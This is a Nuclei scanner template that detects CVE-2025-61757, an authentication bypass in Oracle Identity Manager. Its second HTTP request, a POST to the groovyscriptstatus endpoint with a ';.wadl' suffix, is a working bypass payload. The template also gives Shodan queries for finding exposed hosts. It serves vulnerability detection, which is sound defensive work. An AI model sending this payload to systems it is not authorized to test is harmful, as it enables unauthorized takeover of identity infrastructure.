Oracle Identity Manager REST WebServices - Authentication Bypass

id: CVE-2025-61757

info:
  name: Oracle Identity Manager REST WebServices - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    Vulnerability in the Identity Manager product of Oracle Fusion Middleware (component: REST WebServices). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Identity Manager. Successful attacks of this vulnerability can result in takeover of Identity Manager.
  impact: |
    Allows unauthenticated attacker to fully compromise Oracle Identity Manager via HTTP(S), leading to complete loss of confidentiality, integrity, and availability.
  remediation: |
    Apply the latest security updates released by Oracle as referenced in the October 2025 Critical Patch Update.
  reference:
    - https://slcyber.io/research-center/breaking-oracles-identity-manager-pre-auth-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-61757
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-61757
    epss-score: 0.88312
    epss-percentile: 0.99752
    cwe-id: CWE-306
    cpe: cpe:2.3:a:oracle:identity_manager:12.2.1.4.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: oracle
    product: identity_manager
    shodan-query: title:"oracle access management"
    fofa-query: title="oracle access management"
  tags: cve,cve2025,oracle,identity-manager,auth-bypass,rce,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(header, "Oracle")'
        condition: and
        internal: true

  - raw:
      - |
        POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/plain")'
          - 'contains(body, "Script Compilation Successful")'
        condition: and
# digest: 4b0a004830460221009a346a6eefcc4772331537d1ee45eea74d05b3b53a6a339a5af26f3aca6857e8022100d396dbe57b86e6d3d1882e75596e05c3e7bec4005be2131107de0cab63f6e0e3:922c64590222798bb761d5b6d8e72950